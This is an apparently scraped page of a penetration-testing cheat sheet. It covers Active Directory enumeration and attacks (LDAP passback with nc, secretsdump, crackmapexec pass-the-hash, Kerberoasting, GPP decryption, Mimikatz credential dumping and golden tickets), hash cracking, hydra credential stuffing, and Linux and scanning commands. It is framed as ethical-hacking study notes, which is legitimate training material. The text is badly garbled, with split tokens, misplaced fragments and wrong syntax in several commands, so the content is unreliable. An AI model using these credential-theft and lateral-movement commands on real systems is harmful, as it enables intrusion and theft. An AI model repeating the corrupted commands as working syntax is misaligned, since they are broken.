

Gaining Initial Foothold (cont)

Passback attack on MFP devices (e.g, printers)

```
nc -L -p 389 on attack machine >>
enumerate domain for MFPs >> login to
MFP >> change LDAP server on MFP to
attack IP >> capture hashes on attack
machine
```

Sweep domain for MFP devices using metasploit's httpversion

To be edited

Enumerate, Enumerate, Enumerate

Post-Compromise Enumeration

To get the Resultant Group Policy config that has been applied on a host. This will output what GPO took precedence for a given config.

```
gpresult /h output.html
```

Find file shares on a domain

```
Invoke -Share Finder OR Find-
DomainShare
```

Enumerating with PowerView

Run PowerView

```
.\PowerView.ps1
```

Get information about the domain (DCs IP, name, ...)

```
Get-NetDomain
```

Get information of DCs on the domain — domain name, IP of DC, DC OS, ...

```
Get-NetDomainController
```

To get the Default Domain Policy configs

```
Get-DefaultDomainPolicy
```

Access complete values of any Powershell property name

```
(Get-DomainPolicy).name or Get-DomainPolicy | select name
```

Get information of users on the domain

```
Get-NetUsers or Get-DomainUser
```

Post-Compromise Enumeration (cont)

To fetch just one entity from Get-NetUsers, Get-NetGroups

```
Get-NetUsers -Identity jsnow or Get-NetGroups -Identity 0.0.0.0/24 Admin
```

Get all admins on a domain

```
Get-NetGroup | Select -Object Name | Select -String 1--local-auth for local account login
```

Get all users in a group

```
Get-NetGroupMember -Identity "Enterprise Admins" -Recurse
```

Enumerating with BloodHound

Default usage to collect mappings/data via the SharpHound.ps1 Ingester (noisy option)

```
Invoke -BloodHound -Domain GOLD.local
```

Perform more specific collection (less noisy). ? takes options: Group, LocalGroup, RDP, Sessions

```
Invoke-BloodHound -Domain GOLD.local -CollectionMethod ? --ZipFilename output.zip
```

To collect Sessions currently active on the domain

```
Invoke -BloodHound -CollectionMethod Session -Loop -LoopInterval HH:MM:SS
```

After collection, import to Bloodhound GUI on kali

```
bloodhound
```

Post Compromise Attacks

Dumping SAM NTLM hashes on DC with secretsdump.py

```
./secretsdump.py -just- dc-ntlm GOLD.local/doma inadmin user: password 16 8.2 19.140
```

Post Compromise Attacks (cont)

Pass a password across a range of computer on the

```
crackmapexec smb 10.0.0.1/24 Admin
```

Pass a hash across a range of computer on the

```
crackmapexec smb 10.0.0.1/24 Admin "0ad51401307d0b
```

for local account login

```
--sam to dump sam hashes
```

Attempt to dump the (local) SAM while running

```
crackmapexec smb 10.0.0.1/24 -d G
```

```
orsecret sdu mp.py -just- dc-ntlm
```

To dump LSA secrets on target computer

```
crackmapexec smb 192.16 8.2 19.0/ a
```

Crack NTLM hashes using hashcat

```
hashcat -m 1000 sam hashes.txt
```

Gain remote shell with NTLM hash using ps/sr

```
method Session -Loop -LoopInterval
```

```
./psexec.py win_on e:@ 10.0.0.5 -
```

Token Impersonation (TI) with metasploit

```
use window s/s mb/exec >> set options
```

```
mpersonate_token DOMAIN*username*
```

Add new user via TI attack if impersonated tok

```
dump_user username password
```

Post Compromise Attacks (cont)

Add new (local) user via T1

```
add_user username password
```

Add local users to local groups

```
add_local_user groupname user_t o_add
```

Performing Kerberoasting Attacks -- get a TGST

```
/GetUserSPNs.py GOLD.1 oca 1/j sno w:j s a h n s p o w l s d c / p p t t B 2.16 8.2 19.140
```

Perform Kerberoasting with user's hash

```
/GetUserSPNs.py GOLD.1 oca 1/j sno w:j s a h n s p o w l s d c / i p j a 0 2.16 a 0 2 k 9 b i g 0  
request
```

Crack a TGST with hashcat

```
hashcat -m 13100 tgst.txt rockyo u.txt -O
```

GPP/cPassword attack -- finding the Groups.xml

```
smbclient -L \\*\$DC-IP\\SYSVOL --user GOLD.1 oca 1/j sno w%j ohnsnow  
prompt off >> recurse on >> mget
```

Decrypting the cPassword obtain from Groups.xml

```
gpp-decrypt $cPassword
```

Performing a URL File Attack to get more NTLMv2 hashes

```
create a file: @somefile.url >> in created file, put:  
[InternetShortcut]  
URL=someurl
```

Performing the Print Nightmare Attack

External Link

Post Compromise Attacks -- Mimikatz

First things first

```
privilege::debug
```

Dump hashes of currently logged on users

```
sekurlsa::logonpasswords
```

Dump SAM hashes

```
lsadump::sam /pp t B 2.16 8.2 19.140
```

Dump SAM hash of a specific account

```
lsadump::sam /ip j a 0 2.16 a 0 2 k 9 b i g 0
```

Golden Ticket Attack

```
kerberos::golden /user: someuser /domain: GOLD.local /spn: /sid: domain
```

Useful Linux Commands

To locate a file

```
updatedb  
locate FILE
```

To clone a github repo

```
git clone REPO_URL
```

For **command2** to execute if and only if **command1** executes successfully

```
COMMAND1 && COMMAND2
```

For **command2** to execute if and only if **command1** fails to exec

```
COMMAND1 || COMMAND2
```

Print a range of numbers from **start** to **stop** with **step increment**

```
seq [START_NO] [STEP] STOP_NO  
seq 1 256
```

To split a string into fields based on a delimiter (e.g space), and select the Nth field. Include **file** if string is in a file and not **string**

```
" string to cut into six fields " |  
[FILE]
```

To list open ports on a system

```
netstat -lp
```

Useful Linux Commands (cont)

To kill a process on an open port (thus closing

```
kill pid_no
```

To zip a file/directory (-r for recursiveness)

```
zip -r zipped file e.zip file-o r-  
o-zip
```

To unzip a zipped file

```
unzip zipped file e.zip
```

To list crontab for a user

```
crontab -u johndoe -l
```

To create a cronjob to echo "nice" into a file every 10 minutes (more on cronjobs here`:

```
crontab -e --> */1 * * * * echo " n  
> file.txt
```

To find a **file** in directory **/** with permission of **4**

```
find / -type f -perm -4000
```

To set SUID bit on a file or dir

```
chmod u+s or chmod 4000
```

To set SGID bit on a file or dir

```
chmod g+s or chmod 2000
```

To set sticky bit on a file or dir

```
chmod +t or chmod 1000
```

Network Commands

To get IP info of network interfaces

```
ip a
```

To get arp neighbors

```
cat /d ' ' -f N  
arp -a
```

To get info on gateway

```
ip r
```

Users and Privileges

To switch between users

```
su USERNAME
```

To run a **command** as **user** without explicitly switching users

```
su USERNAME -c "COM MAN D"
```

To list sudo permissions for a user in terminal scope

```
sudo -l
```

To elevate priv of a user in terminal scope into super user

```
sudo su
```

For persistent super user / root mode

```
sudo -s
```

To change passwd for a **user**

```
passwd USERNAME
```

To add a new **user account**

```
adduser USERNAME
```

To view all user accounts, passwd or shadow file

```
cat /etc/passwd
```

```
cat /etc/shadow
```

To view all groups

```
cat /etc/group
```

To view sudo users (sudoers)

```
cat /etc/sudoers
```

Linux Services

To start, stop or restart a service

```
service SERVICE_NAME start
```

```
service SERVICE_NAME stop
```

```
service SERVICE_NAME restart
```

To check status of a service

```
service SERVICE_NAME status
```

Stages of Ethical Hacking

information gathering using tools like wapalyzer, builtwith, breachparse,

scanning and enumeration using tools like nmap, dirb, nikto, nessus, sublist3r, amass,

gaining access (exploitation) using tools like searchsploit, exploit-db, metasploit, buffer overflows, bind/reverse shells

post-exploitation using tools like pspy64, linpeas.sh, winpeas.sh or by doing a hashdump, passwd/shadow/group/sudoers file dumps, etc

Scanning and Enumeration

Port/Service Scanning/Discovery

enumerate all devices discoverable on a subnet

```
netdiscover -r 10.10.1 0.0/24
```

nmap TCP half-open scan on all ports with OS/version detection, script scan, tracer

```
nmap -T4 -sS -p- -A 10.10.1 0.10
```

nmap scan on range of IPs with only ping scan (port scan disabled)

```
nmap -T4 -sn 10.10.1 0-124.0-255
```

nmap TCP half-open scan for select ports while skipping host discovery

```
nmap -T4 -sS -p1-1024 -A -Pn 10.10.1 0.0-255
```

-sT (for full TCP 3-way handshake scan)

-sU (for UDP scan)

```
other scan techniques in place of -sS
```

Port/Service Scanning/Discovery (cont)

Nessus scan

```
service nessusd start --> https://kali:8834
```

Nikto scan

```
nikto -host http://10.10.10.10
```

HTTP/S Enumeration

Website vuln scan with Nikto

```
nikto -host http://10.10.10.10
```

standard directory busting with dirb using default recursive search.

```
dirb https://secure.ite.com -
```

Directory busting with dirb specifying wordlists

```
dirb http://unsecuresite.com/path/to/wordlist
```

standard directory busting with gobuster

```
gobuster dir -u https://some.site
```

directory busting with gobuster, specify threads

```
gobuster dir -u http://some.site -t 100 -w wordlist.txt
```

Enumeration of tech stack for a website

```
whatweb https://www.example.com
```

Some wordlists to use:

```
/usr/share/wordlists/dirbuster
/usr/share/wordlists/dirbuster-2.3-medium.txt
/usr/share/wordlists/dirbuster-2.3-medium.txt
/usr/share/wordlists/dirbuster-2.3-medium.txt
```

Other useful options for dirbusting with gobuster include: -c (to specify cookies string), -a (to set user agent).



By **gad**
cheatography.com/gad/

Not published yet.
Last updated 31st May, 2023.
Page 4 of 6.

Sponsored by **CrosswordCheats.com**
Learn to solve cryptic crosswords!
<http://crosswordcheats.com>

Bruteforce (cont)

Credential stuffing with hydra using a file with colon separated "username:pass" format on multiple targets

```
hydra -C logins.txt -M target s.txt -p 139 smb
```

Bruteforce password for a zip file

```
fcrackzip -u -D -p /path/ to/ wor dlist zipfil e_
name
```

For bruteforcing web-sites/-apps, use Burp Suite >> Intruder >> Sniper (for password spraying or to try several passwords against a username --). Use Burp Suite >> Intruder >> Pitchfork (for credential stuffing) or use Burp Suite >> Intruder >> Cluster bomb (for credential stuffing that tries every combination of username/password)

Post Exploitation

Dump hashdump
password
hashes of
user
accounts

To hash-identifier
identify a
type of
hash

To crack a hash using hashcat (check <https://hashcat.net/wiki/documentation.php?id=hashcat-for-hash-mode>)

```
hashcat -m hash-mode digest /path/ to/ wor dlist
hashcat -m 0 cd7350 282... wordlist st.txt
```